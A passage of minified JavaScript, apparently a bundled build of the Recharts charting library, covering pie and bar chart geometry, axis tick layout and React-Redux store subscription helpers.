null;var T=h==null||h===c,j=String(_)===u&&(f==null||i.dataKey===f)&&T,M=u?r:null,P=n&&j?n:M,R=yt(yt({},A),{},{stroke:A.stroke,tabIndex:-1,[cD]:_,[uD]:c});return v.createElement(fn,Ei({key:"sector-".concat(A?.startAngle,"-").concat(A?.endAngle,"-").concat(A.midAngle,"-").concat(_),tabIndex:-1,className:"recharts-pie-sector"},Wh(x,A,_),{onMouseEnter:S(A,_),onMouseLeave:w(A,_),onClick:O(A,_)}),v.createElement(aI,Ei({option:l??P,index:_,shapeType:"sector",isActive:j},R)))}))}function Nre(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:l}=e,{cornerRadius:c,startAngle:u,endAngle:f,dataKey:h,nameKey:p,tooltipType:m}=n,y=Math.abs(n.minAngle),x=Sre(u,f),S=Math.abs(x),w=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,O=r.filter(P=>lt(P,h,0)!==0).length,A=(S>=360?O:O-1)*w,_=S-O*y-A,T=r.reduce((P,R)=>{var I=lt(R,h,0);return P+(Oe(I)?I:0)},0),j;if(T>0){var M;j=r.map((P,R)=>{var I=lt(P,h,0),B=lt(P,p,R),q=wre(n,l,P),U=(Oe(I)?I:0)/T,V,oe=yt(yt({},P),i&&i[R]&&i[R].props);R?V=M.endAngle+tn(x)*w*(I!==0?1:0):V=u;var le=V+tn(x)*((I!==0?y:0)+U*_),ce=(V+le)/2,L=(q.innerRadius+q.outerRadius)/2,F=[{name:B,value:I,payload:oe,dataKey:h,type:m,graphicalItemId:n.id}],$=Nt(q.cx,q.cy,L,ce);return M=yt(yt(yt(yt({},n.presentationProps),{},{percent:U,cornerRadius:typeof c=="string"?parseFloat(c):c,name:B,tooltipPayload:F,midAngle:ce,middleRadius:L,tooltipPosition:$},oe),q),{},{value:I,dataKey:h,startAngle:V,endAngle:le,payload:oe,paddingAngle:tn(x)*w}),M})}return j}function Mre(e){var{showLabels:t,sectors:n,children:r}=e,i=v.useMemo(()=>!t||!n?[]:n.map(l=>({value:l.value,payload:l.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:l.cx,cy:l.cy,innerRadius:l.innerRadius,outerRadius:l.outerRadius,startAngle:l.startAngle,endAngle:l.endAngle,clockWise:!1},fill:l.fill})),[n,t]);return v.createElement(sne,{value:t?i:void 0},r)}function jre(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:l,animationBegin:c,animationDuration:u,animationEasing:f,activeShape:h,inactiveShape:p,onAnimationStart:m,onAnimationEnd:y}=t,x=gp(t,"recharts-pie-"),S=n.current,[w,O]=v.useState(!1),A=v.useCallback(()=>{typeof y=="function"&&y(),O(!1)},[y]),_=v.useCallback(()=>{typeof m=="function"&&m(),O(!0)},[m]);return v.createElement(Mre,{showLabels:!w,sectors:i},v.createElement(vp,{animationId:x,begin:c,duration:u,isActive:l,easing:f,onAnimationStart:_,onAnimationEnd:A,key:x},T=>{var j=[],M=i&&i[0],P=M?.startAngle;return i?.forEach((R,I)=>{var B=S&&S[I],q=I>0?co(R,"paddingAngle",0):0;if(B){var U=Rt(B.endAngle-B.startAngle,R.endAngle-R.startAngle,T),V=yt(yt({},R),{},{startAngle:P+q,endAngle:P+U+q});j.push(V),P=V.endAngle}else{var{endAngle:oe,startAngle:le}=R,ce=Rt(0,oe-le,T),L=yt(yt({},R),{},{startAngle:P+q,endAngle:P+ce+q});j.push(L),P=L.endAngle}}),n.current=j,v.createElement(fn,null,v.createElement(Tre,{sectors:j,activeShape:h,inactiveShape:p,allOtherPieProps:t,shape:t.shape,id:r}))}),v.createElement(_re,{showLabels:!w,sectors:i,props:t}),t.children)}var Pre={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:an.area};function Rre(e){var{id:t}=e,n=zp(e,fre),{hide:r,className:i,rootTabIndex:l}=e,c=v.useMemo(()=>B1(e.children,vo),[e.children]),u=we(p=>Ane(p,t,c)),f=v.useRef(null),h=Ye("recharts-pie",i);return r||u==null?(f.current=null,v.createElement(fn,{tabIndex:l,className:h})):v.createElement(Gr,{zIndex:e.zIndex},v.createElement(yre,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:u,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),v.createElement(fn,{tabIndex:l,className:h},v.createElement(jre,{props:yt(yt({},n),{},{sectors:u}),previousSectorsRef:f,id:t})))}function F1(e){var t=pn(e,Pre),{id:n}=t,r=zp(t,dre),i=Ur(r);return v.createElement(oI,{id:n,type:"pie"},l=>v.createElement(v.Fragment,null,v.createElement(sre,{type:"pie",id:l,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),v.createElement(gre,Ei({},r,{id:l})),v.createElement(Rre,Ei({},r,{id:l}))))}F1.displayName="Pie";function D2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function k2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),Yre=G([Kre,Pa,Ra],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),uI=()=>we(Yre),L2=(e,t,n)=>{var r=n??e;if(!Vt(r))return on(r,t,0)},Gre=(e,t,n)=>{var r={},i=e.filter(_p),l=e.filter(h=>h.stackId==null),c=i.reduce((h,p)=>(h[p.stackId]||(h[p.stackId]=[]),h[p.stackId].push(p),h),r),u=Object.entries(c).map(h=>{var[p,m]=h,y=m.map(S=>S.dataKey),x=L2(t,n,m[0].barSize);return{stackId:p,dataKeys:y,barSize:x}}),f=l.map(h=>{var p=[h.dataKey].filter(y=>y!=null),m=L2(t,n,h.barSize);return{stackId:void 0,dataKeys:p,barSize:m}});return[...u,...f]};function I2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function od(e){for(var t=1;tA+(_.barSize||0),0);m+=(l-1)*c,m>=n&&(m-=(l-1)*c,c=0),m>=n&&p>0&&(h=!0,p*=.9,m=l*p);var y=(n-m)/2>>0,x={offset:y-c,size:0};u=r.reduce((A,_)=>{var T,j={stackId:_.stackId,dataKeys:_.dataKeys,position:{offset:x.offset+x.size+c,size:h?p:(T=_.barSize)!==null&&T!==void 0?T:0}},M=[...A,j];return x=M[M.length-1].position,M},f)}else{var S=on(t,n,0,!0);n-2*S-(l-1)*c<=0&&(c=0);var w=(n-2*S-(l-1)*c)/l;w>1&&(w>>=0);var O=ht(i)?Math.min(w,i):w;u=r.reduce((A,_,T)=>[...A,{stackId:_.stackId,dataKeys:_.dataKeys,position:{offset:S+(w+c)*T+(w-O)/2,size:O}}],f)}return u}}var Jre=(e,t,n,r,i,l,c)=>{var u=Vt(c)?t:c,f=Qre(n,r,i!==l?i:l,e,u);return i!==l&&f!=null&&(f=f.map(h=>od(od({},h),{},{position:od(od({},h.position),{},{offset:h.position.offset-i/2})}))),f},eae=(e,t)=>{var n=a1(t);if(!(!e||n==null||t==null)){var{stackId:r}=t;if(r!=null){var i=e[r];if(i){var{stackedData:l}=i;if(l)return l.find(c=>c.key===n)}}}};function tae(e,t){return e&&typeof e=="object"&&"zIndex"in e&&typeof e.zIndex=="number"&&ht(e.zIndex)?e.zIndex:t}var fI=e=>{var{chartData:t}=e,n=ft(),r=Vn();return v.useEffect(()=>r?()=>{}:(n(KN(t)),()=>{n(KN(void 0))}),[t,n,r]),null},z2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},dI=An({name:"brush",initialState:z2,reducers:{setBrushSettings(e,t){return t.payload==null?z2:t.payload}}}),{setBrushSettings:Mue}=dI.actions,nae=dI.reducer;function rae(e,t,n){return(t=aae(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function aae(e){var t=iae(e,"string");return typeof t=="symbol"?t:t+""}function iae(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class V1{static create(t){return new V1(t)}constructor(t){this.scale=t}get domain(){return this.scale.domain}get range(){return this.scale.range}get rangeMin(){return this.range()[0]}get rangeMax(){return this.range()[1]}get bandwidth(){return this.scale.bandwidth}apply(t){var{bandAware:n,position:r}=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t!==void 0){if(r)switch(r){case"start":return this.scale(t);case"middle":{var i=this.bandwidth?this.bandwidth()/2:0;return this.scale(t)+i}case"end":{var l=this.bandwidth?this.bandwidth():0;return this.scale(t)+l}default:return this.scale(t)}if(n){var c=this.bandwidth?this.bandwidth()/2:0;return this.scale(t)+c}return this.scale(t)}}isInRange(t){var n=this.range(),r=n[0],i=n[n.length-1];return r<=i?t>=r&&t<=i:t>=i&&t<=r}}rae(V1,"EPS",1e-4);function oae(e){return(e%180+180)%180}var lae=function(t){var{width:n,height:r}=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,l=oae(i),c=l*Math.PI/180,u=Math.atan(r/n),f=c>u&&c{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=Sr(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=Sr(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=Sr(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:jue,removeDot:Pue,addArea:Rue,removeArea:Due,addLine:kue,removeLine:Lue}=hI.actions,cae=hI.reducer,uae=v.createContext(void 0),fae=e=>{var{children:t}=e,[n]=v.useState("".concat(Ac("recharts"),"-clip")),r=uI();if(r==null)return null;var{x:i,y:l,width:c,height:u}=r;return v.createElement(uae.Provider,{value:n},v.createElement("defs",null,v.createElement("clipPath",{id:n},v.createElement("rect",{x:i,y:l,height:u,width:c}))),t)};function pI(e,t){if(t<1)return[];if(t===1)return e;for(var n=[],r=0;re*i)return!1;var l=n();return e*(t-e*l/2-r)>=0&&e*(t+e*l/2-i)<=0}function pae(e,t){return pI(e,t+1)}function mae(e,t,n,r,i){for(var l=(r||[]).slice(),{start:c,end:u}=t,f=0,h=1,p=c,m=function(){var S=r?.[f];if(S===void 0)return{v:pI(r,h)};var w=f,O,A=()=>(O===void 0&&(O=n(S,w)),O),_=S.coordinate,T=f===0||$c(e,_,A,p,u);T||(f=0,p=c,h+=1),T&&(p=_+e*(A()/2+i),f+=h)},y;h<=l.length;)if(y=m(),y)return y.v;return[]}function vae(e,t,n,r,i){var l=(r||[]).slice(),c=l.length;if(c===0)return[];for(var{start:u,end:f}=t,h=1;h<=c;h++){for(var p=(c-1)%h,m=u,y=!0,x=function(){var _=r[S],T=S,j,M=()=>(j===void 0&&(j=n(_,T)),j),P=_.coordinate,R=S===p||$c(e,P,M,m,f);if(!R)return y=!1,1;R&&(m=P+e*(M()/2+i))},S=p;S(S===void 0&&(S=n(x,y)),S);if(y===c-1){var O=e*(x.coordinate+e*w()/2-f);l[y]=x=rn(rn({},x),{},{tickCoord:O>0?x.coordinate-O*e:x.coordinate})}else l[y]=x=rn(rn({},x),{},{tickCoord:x.coordinate});if(x.tickCoord!=null){var A=$c(e,x.tickCoord,w,u,f);A&&(f=x.tickCoord-e*(w()/2+i),l[y]=rn(rn({},x),{},{isShow:!0}))}},p=c-1;p>=0;p--)h(p);return l}function wae(e,t,n,r,i,l){var c=(r||[]).slice(),u=c.length,{start:f,end:h}=t;if(l){var p=r[u-1],m=n(p,u-1),y=e*(p.coordinate+e*m/2-h);if(c[u-1]=p=rn(rn({},p),{},{tickCoord:y>0?p.coordinate-y*e:p.coordinate}),p.tickCoord!=null){var x=$c(e,p.tickCoord,()=>m,f,h);x&&(h=p.tickCoord-e*(m/2+i),c[u-1]=rn(rn({},p),{},{isShow:!0}))}}for(var S=l?u-1:u,w=function(_){var T=c[_],j,M=()=>(j===void 0&&(j=n(T,_)),j);if(_===0){var P=e*(T.coordinate-e*M()/2-f);c[_]=T=rn(rn({},T),{},{tickCoord:P<0?T.coordinate-P*e:T.coordinate})}else c[_]=T=rn(rn({},T),{},{tickCoord:T.coordinate});if(T.tickCoord!=null){var R=$c(e,T.tickCoord,M,f,h);R&&(f=T.tickCoord+e*(M()/2+i),c[_]=rn(rn({},T),{},{isShow:!0}))}},O=0;O{var M=typeof h=="function"?h(T.value,j):T.value;return S==="width"?dae(bc(M,{fontSize:t,letterSpacing:n}),w,m):bc(M,{fontSize:t,letterSpacing:n})[S]},A=i.length>=2?tn(i[1].coordinate-i[0].coordinate):1,_=hae(l,A,S);return f==="equidistantPreserveStart"?mae(A,_,O,i,c):f==="equidistantPreserveEnd"?vae(A,_,O,i,c):(f==="preserveStart"||f==="preserveStartEnd"?x=wae(A,_,O,i,c,f==="preserveStartEnd"):x=xae(A,_,O,i,c),x.filter(T=>T.isShow))}var Oae=e=>{var{ticks:t,label:n,labelGapWithTick:r=5,tickSize:i=0,tickMargin:l=0}=e,c=0;if(t){Array.from(t).forEach(p=>{if(p){var m=p.getBoundingClientRect();m.width>c&&(c=m.width)}});var u=n?n.getBoundingClientRect().width:0,f=i+l,h=c+f+u+(n?r:0);return Math.round(h)}return 0},Eae=["axisLine","width","height","className","hide","ticks","axisType"];function Aae(e,t){if(e==null)return{};var n,r,i=Cae(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var{ticks:n=[],tick:r,tickLine:i,stroke:l,tickFormatter:c,unit:u,padding:f,tickTextProps:h,orientation:p,mirror:m,x:y,y:x,width:S,height:w,tickSize:O,tickMargin:A,fontSize:_,letterSpacing:T,getTicksConfig:j,events:M,axisType:P}=e,R=Sae(Tt(Tt({},j),{},{ticks:n}),_,T),I=Pae(p,m),B=Rae(p,m),q=Ur(j),U=Ec(r),V={};typeof i=="object"&&(V=i);var oe=Tt(Tt({},q),{},{fill:"none"},V),le=R.map(F=>Tt({entry:F},jae(F,y,x,S,w,p,O,m,A))),ce=le.map(F=>{var{entry:$,line:Z}=F;return v.createElement(fn,{className:"recharts-cartesian-axis-tick",key:"tick-".concat($.value,"-").concat($.coordinate,"-").concat($.tickCoord)},i&&v.createElement("line",go({},oe,Z,{className:Ye("recharts-cartesian-axis-tick-line",co(i,"className"))})))}),L=le.map((F,$)=>{var{entry:Z,tick:de}=F,D=Tt(Tt(Tt(Tt({textAnchor:I,verticalAnchor:B},q),{},{stroke:"none",fill:l},U),de),{},{index:$,payload:Z,visibleTicksCount:R.length,tickFormatter:c,padding:f},h);return v.createElement(fn,go({className:"recharts-cartesian-axis-tick-label",key:"tick-label-".concat(Z.value,"-").concat(Z.coordinate,"-").concat(Z.tickCoord)},Wh(M,Z,$)),r&&v.createElement(Dae,{option:r,tickProps:D,value:"".concat(typeof c=="function"?c(Z.value,$):Z.value).concat(u||"")}))});return v.createElement("g",{className:"recharts-cartesian-axis-ticks recharts-".concat(P,"-ticks")},L.length>0&&v.createElement(Gr,{zIndex:an.label},v.createElement("g",{className:"recharts-cartesian-axis-tick-labels recharts-".concat(P,"-tick-labels"),ref:t},L)),ce.length>0&&v.createElement("g",{className:"recharts-cartesian-axis-tick-lines recharts-".concat(P,"-tick-lines")},ce))}),Lae=v.forwardRef((e,t)=>{var{axisLine:n,width:r,height:i,className:l,hide:c,ticks:u,axisType:f}=e,h=Aae(e,Eae),[p,m]=v.useState(""),[y,x]=v.useState(""),S=v.useRef(null);v.useImperativeHandle(t,()=>({getCalculatedWidth:()=>{var O;return Oae({ticks:S.current,label:(O=e.labelRef)===null||O===void 0?void 0:O.current,labelGapWithTick:5,tickSize:e.tickSize,tickMargin:e.tickMargin})}}));var w=v.useCallback(O=>{if(O){var A=O.getElementsByClassName("recharts-cartesian-axis-tick-value");S.current=A;var _=A[0];if(_){var T=window.getComputedStyle(_),j=T.fontSize,M=T.letterSpacing;(j!==p||M!==y)&&(m(j),x(M))}}},[p,y]);return c||r!=null&&r<=0||i!=null&&i<=0?null:v.createElement(Gr,{zIndex:e.zIndex},v.createElement(fn,{className:Ye("recharts-cartesian-axis",l)},v.createElement(Mae,{x:e.x,y:e.y,width:r,height:i,orientation:e.orientation,mirror:e.mirror,axisLine:n,otherSvgProps:Ur(e)}),v.createElement(kae,{ref:w,axisType:f,events:h,fontSize:p,getTicksConfig:e,height:e.height,letterSpacing:y,mirror:e.mirror,orientation:e.orientation,padding:e.padding,stroke:e.stroke,tick:e.tick,tickFormatter:e.tickFormatter,tickLine:e.tickLine,tickMargin:e.tickMargin,tickSize:e.tickSize,tickTextProps:e.tickTextProps,ticks:u,unit:e.unit,width:e.width,x:e.x,y:e.y}),v.createElement(Bte,{x:e.x,y:e.y,width:e.width,height:e.height,lowerWidth:e.width,upperWidth:e.width},v.createElement(Xte,{label:e.label,labelRef:e.labelRef}),e.children)))}),K1=v.forwardRef((e,t)=>{var n=pn(e,ro);return v.createElement(Lae,go({},n,{ref:t}))});K1.displayName="CartesianAxis";var Iae={},mI=An({name:"errorBars",initialState:Iae,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(l=>l.dataKey===r.dataKey&&l.direction===r.direction?i:l))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:Iue,replaceErrorBar:zue,removeErrorBar:$ue}=mI.actions,zae=mI.reducer,$ae=["children"];function Bae(e,t){if(e==null)return{};var n,r,i=Uae(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r({x:0,y:0,value:0}),errorBarOffset:0},qae=v.createContext(Hae);function Fae(e){var{children:t}=e,n=Bae(e,$ae);return v.createElement(qae.Provider,{value:n},t)}function vI(e,t){var n,r,i=we(h=>La(h,e)),l=we(h=>Ia(h,t)),c=(n=i?.allowDataOverflow)!==null&&n!==void 0?n:Ut.allowDataOverflow,u=(r=l?.allowDataOverflow)!==null&&r!==void 0?r:Ht.allowDataOverflow,f=c||u;return{needClip:f,needClipX:c,needClipY:u}}function Vae(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=uI(),{needClipX:l,needClipY:c,needClip:u}=vI(t,n);if(!u||!i)return null;var{x:f,y:h,width:p,height:m}=i;return v.createElement("clipPath",{id:"clipPath-".concat(r)},v.createElement("rect",{x:l?f:f-p/2,y:c?h:h-m/2,width:l?p:p*2,height:c?m:m*2}))}var e0={exports:{}},t0={};var U2;function Kae(){if(U2)return t0;U2=1;var e=Ul();function t(f,h){return f===h&&(f!==0||1/f===1/h)||f!==f&&h!==h}var n=typeof Object.is=="function"?Object.is:t,r=e.useSyncExternalStore,i=e.useRef,l=e.useEffect,c=e.useMemo,u=e.useDebugValue;return t0.useSyncExternalStoreWithSelector=function(f,h,p,m,y){var x=i(null);if(x.current===null){var S={hasValue:!1,value:null};x.current=S}else S=x.current;x=c(function(){function O(M){if(!A){if(A=!0,_=M,M=m(M),y!==void 0&&S.hasValue){var P=S.value;if(y(P,M))return T=P}return T=M}if(P=T,n(_,M))return P;var R=m(M);return y!==void 0&&y(P,R)?(_=M,P):(_=M,T=R)}var A=!1,_,T,j=p===void 0?null:p;return[function(){return O(h())},j===null?void 0:function(){return O(j())}]},[h,p,m,y]);var w=r(f,x[0],x[1]);return l(function(){S.hasValue=!0,S.value=w},[w]),u(w),w},t0}var H2;function Yae(){return H2||(H2=1,e0.exports=Kae()),e0.exports}Yae();function Gae(e){e()}function Wae(){let e=null,t=null;return{clear(){e=null,t=null},notify(){Gae(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var q2={notify(){},get:()=>[]};function Xae(e,t){let n,r=q2,i=0,l=!1;function c(w){p();const O=r.subscribe(w);let A=!1;return()=>{A||(A=!0,O(),m())}}function u(){r.notify()}function f(){S.onStateChange&&S.onStateChange()}function h(){return l}function p(){i++,n||(n=e.subscribe(f),r=Wae())}function m(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=q2)}function y(){l||(l=!0,p())}function x(){l&&(l=!1,m())}const S={addNestedSub:c,notifyNestedSubs:u,handleChangeWrapper:f,isSubscribed:h,trySubscribe:y,tryUnsubscribe:x,getListeners:()=>r};return S}var Zae=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",Qae=Zae(),Jae=()=>typeof navigator<"u"&&navigator.product==="ReactNative",eie=Jae(),tie=()=>Qae||eie?v.useLayoutEffect:v.useEffect,nie=tie();function F2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function rie(e,t){if(F2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const f=Xae(i);return{store:i,subscription:f,getServerState:r?()=>r:void 0}},[i,r]),c=v.useMemo(()=>i.getState(),[i]);nie(()=>{const{subscription:f}=l;return f.onStateChange=f.notifyNestedSubs,f.trySubscribe(),c!==i.getState()&&f.notifyNestedSubs(),()=>{f.tryUnsubscribe(),f.onStateChange=void 0}},[l,c]);const u=n||lie;return v.createElement(u.Provider,{value:l},t)}var cie=sie,uie=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function fie(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function Y1(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(uie.has(r)){if(e[r]==null&&t[r]==null)continue;if(!rie(e[r],t[r]))return!1}else if(!fie(e[r],t[r]))return!1;return!0}function Ao(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:sI}function Co(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:sI}var die="Invariant failed";function hie(e,t){throw new Error(die)}function vb(){return vb=Object.assign?Object.assign.bind():function(e){for(var t=1;t1&&arguments[1]!==void 0?arguments[1]:0;return(r,i)=>{if(Oe(t))return t;var l=Oe(r)||Vt(r);return l?t(r,i):(l||hie(),n)}},mie=(e,t,n)=>n,vie=(e,t)=>t,pu=G([l1,vie],(e,t)=>e.filter(n=>n.type==="bar").find(n=>n.id===t)),gie=G([pu],e=>e?.maxBarSize),yie=(e,t,n,r)=>r,bie=G([Fe,l1,Ao,Co,mie],(e,t,n,r,i)=>t.filter(l=>e==="horizontal"?l.xAxisId===n:l.yAxisId===r).filter(l=>l.isPanorama===i).filter(l=>l.hide===!1).filter(l=>l.type==="bar")),xie=(e,t,n)=>{var r=Fe(e),i=Ao(e,t),l=Co(e,t);if(!(i==null||l==null))return r==="horizontal"?cb(e,"yAxis",l,n):cb(e,"xAxis",i,n)},wie=(e,t)=>{var n=Fe(e),r=Ao(e,t),i=Co(e,t);if(!(r==null||i==null))return n==="horizontal"?DN(e,"xAxis",r):DN(e,"yAxis",i)},Sie=G([bie,UZ,wie],Gre),Oie=(e,t,n)=>{var r,i,l=pu(e,t);if(l!=null){var c=Ao(e,t),u=Co(e,t);if(!(c==null||u==null)){var f=Fe(e),h=jk(e),{maxBarSize:p}=l,m=Vt(p)?h:p,y,x;return f==="horizontal"?(y=Bl(e,"xAxis",c,n),x=$l(e,"xAxis",c,n)):(y=Bl(e,"yAxis",u,n),x=$l(e,"yAxis",u,n)),(r=(i=qd(y,x,!0))!==null&&i!==void 0?i:m)!==null&&r!==void 0?r:0}}},gI=(e,t,n)=>{var r=Fe(e),i=Ao(e,t),l=Co(e,t);if(!(i==null||l==null)){var c,u;return r==="horizontal"?(c=Bl(e,"xAxis",i,n),u=$l(e,"xAxis",i,n)):(c=Bl(e,"yAxis",l,n),u=$l(e,"yAxis",l,n)),qd(c,u)}},Eie=G([Sie,jk,BZ,Pk,Oie,gI,gie],Jre),Aie=(e,t,n)=>{var r=Ao(e,t);if(r!=null)return Bl(e,"xAxis",r,n)},Cie=(e,t,n)=>{var r=Co(e,t);if(r!=null)return Bl(e,"yAxis",r,n)},_ie=(e,t,n)=>{var r=Ao(e,t);if(r!=null)return $l(e,"xAxis",r,n)},Tie=(e,t,n)=>{var r=Co(e,t);if(r!=null)return $l(e,"yAxis",r,n)},Nie=G([Eie,pu],(e,t)=>{if(!(e==null||t==null)){var n=e.find(r=>r.stackId===t.stackId&&t.dataKey!=null&&r.dataKeys.includes(t.dataKey));if(n!=null)return n.position}}),Mie=G([xie,pu],eae),jie=G([kt,Sx,Aie,Cie,_ie,Tie,Nie,Fe,TZ,gI,Mie,pu,yie],(e,t,n,r,i,l,c,u,f,h,p,m,y)=>{var{chartData:x,dataStartIndex:S,dataEndIndex:w}=f;if(!(m==null||c==null||t==null||u!=="horizontal"&&u!=="vertical"||n==null||r==null||i==null||l==null||h==null)){var{data:O}=m,A;if(O!=null&&O.length>0?A=O:A=x?.slice(S,w+1),A!=null)return ooe({layout:u,barSettings:m,pos:c,parentViewBox:t,bandSize:h,xAxis:n,yAxis:r,xAxisTicks:i,yAxisTicks:l,stackedData:p,displayedData:A,offset:e,cells:y,dataStartIndex:S})}}),Pie=["index"];function gb(){return gb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t=v.useContext(yI);if(t!=null)return t.stackId;if(e!=null)return RK(e)},Lie=(e,t)=>"recharts-bar-stack-clip-path-".concat(e,"-").concat(t),Iie=e=>{var t=v.useContext(yI);if(t!=null){var{stackId:n}=t;return"url(#".concat(Lie(n,e),")")}},zie=e=>{var{index:t}=e,n=Rie(e,Pie),r=Iie(t);return v.createElement(fn,gb({className:"recharts-bar-stack-layer",clipPath:r},n))},$ie=["onMouseEnter","onMouseLeave","onClick"],Bie=["value","background","tooltipPosition"],Uie=["id"],Hie=["onMouseEnter","onClick","onMouseLeave"];function Ma(){return Ma=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,fill:r,legendType:i,hide:l}=e;return[{inactive:l,dataKey:t,type:i,color:r,value:ip(n,t),payload:e}]},Gie=v.memo(e=>{var{dataKey:t,stroke:n,strokeWidth:r,fill:i,name:l,hide:c,unit:u,tooltipType:f,id:h}=e,p={dataDefinedOnItem:void 0,positions:void 0,settings:{stroke:n,strokeWidth:r,fill:i,dataKey:t,nameKey:void 0,name:ip(l,t),hide:c,type:f,color:i,unit:u,graphicalItemId:h}};return v.createElement(iI,{tooltipEntrySettings:p})});function Wie(e){var t=we(mo),{data:n,dataKey:r,background:i,allOtherBarProps:l}=e,{onMouseEnter:c,onMouseLeave:u,onClick:f}=l,h=mh(l,$ie),p=U1(c,r,l.id),m=H1(u),y=q1(f,r,l.id);if(!i||n==null)return null;var x=Ec(i);return v.createElement(Gr,{zIndex:tae(i,an.barBackground)},n.map((S,w)=>{var{value:O,background:A,tooltipPosition:_}=S,T=mh(S,Bie);if(!A)return null;var j=p(S,w),M=m(S,w),P=y(S,w),R=cn(cn(cn(cn(cn({option:i,isActive:String(w)===t},T),{},{fill:"#eee"},A),x),Wh(h,S,w)),{},{onMouseEnter:j,onMouseLeave:M,onClick:P,dataKey:r,index:w,className:"recharts-bar-background-rectangle"});return v.createElement(ph,Ma({key:"background-bar-".concat(w)},R))}))}function Xie(e){var{showLabels:t,children:n,rects:r}=e,i=r?.map(l=>{var c={x:l.x,y:l.y,width:l.width,lowerWidth:l.width,upperWidth:l.width,height:l.height};return cn(cn({},c),{},{value:l.value,payload:l.payload,parentViewBox:l.parentViewBox,viewBox:c,fill:l.fill})});return v.createElement(lne,{value:t?i:void 0},n)}function Zie(e){var{shape:t,activeBar:n,baseProps:r,entry:i,index:l,dataKey:c}=e,u=we(mo),f=we(P1),h=n&&String(l)===u&&(f==null||c===f),p=h?n:t;return 